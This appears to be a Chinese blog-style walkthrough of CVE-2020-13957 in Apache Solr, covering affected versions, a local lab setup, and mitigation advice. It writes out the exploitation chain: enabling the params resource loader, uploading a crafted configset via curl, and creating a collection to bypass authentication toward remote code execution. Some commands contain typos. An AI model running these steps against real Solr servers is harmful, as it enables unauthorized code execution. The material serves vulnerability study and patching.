CVE-2020-13957:Apche Solr 未授权上传漏洞的分析及复现(环境搭建+复现)

穿精又带淫゛_ 提交于 2020-11-22 12:27:19

CVE-2020-13957:Apche Solr 未授权上传漏洞的分析及复现

一、漏洞描述
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
Solr 主要特性有:强大的全文检索功能,高亮显示检索结果,动态集群,数据库接口和电子文档(Word ,PDF 等)的处理。而且Solr 具有高度的可扩展,支持分布搜索和索引的复制。
在特定的Solr版本中ConfigSet API存在未授权上传漏洞,攻击者利用漏洞可实现远程代码执行。
二、影响范围
Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2
三、漏洞原理
上传configset——基于configset再次上传configset(跳过身份检测)——利用新configset创造collection——利用solrVelocity模板进行RCE
四、环境搭建
本次实验的是solr7.7.0版本,去官网下载
http://archive.apache.org/dist/lucene/solr/7.7.0/











在这里插入图片描述

下载完毕后,进行安装

在这里插入图片描述

我们选择把环境搭在kali上,打开解压后的环境包,在bin文件包打开终端,进入到
进入solr-7.7.0/bin目录下,使用 ./solr start -e cloud -force启动一个cloud示例,一路默认安装即可。

在这里插入图片描述

出现如下图所示,即安装成功

在这里插入图片描述

访问图中的链接可进入如下图的页面

在这里插入图片描述

5、漏洞复现及攻击利用
1.进入到
/solr-7.0.1/server/solr/configsets/sample_techproducts_configs /conf 目录
2.将solrconfig.xml文件中params.resource.loader.enabled的值设置为true(为远程命令执行做准备)


配置前

在这里插入图片描述

配置后

在这里插入图片描述

3. 进入到conf目录下,把conf目录下所有文件打包成一个压缩文件
执行zip -r - * > mytest.zip

在这里插入图片描述

  1. 通过上传API将zip上传

执行curl -X POST --header “Content-Type:application/octet-stream” --databinary@mytest.zip" http://localhost:8983/solr/admin/configs?action=UPLOAD&name=mytest"

在这里插入图片描述

  1. 根据UPLOAD的配置,创建一个 新的配置,绕过不能通过直接UPLOAD创建collection的限制,并根据CREATE得到的新configset创建恶意collection
    执行
    curl “http://localhost:8983/solr/admin/collections?action=CREATE&name=mytest2&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest”

在这里插入图片描述

  1. 这里可以看到已经上传上去名为mytest2的Collection。现在就可以使用漏洞执行RCE

在这里插入图片描述

6、处置建议
1、如果未使用ConfigSets API,则通过将系统属性设置为“ configset.upload.enabled”设置为“ false”来禁用UPLOAD命令。
2、使用身份验证/授权来确保未知的请求不会被允许访问。
3、升级到8.6.3及以上的安全版本。
4、如果不能进行升级,可以安装 SOLR-14663公告中的应用补丁



标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!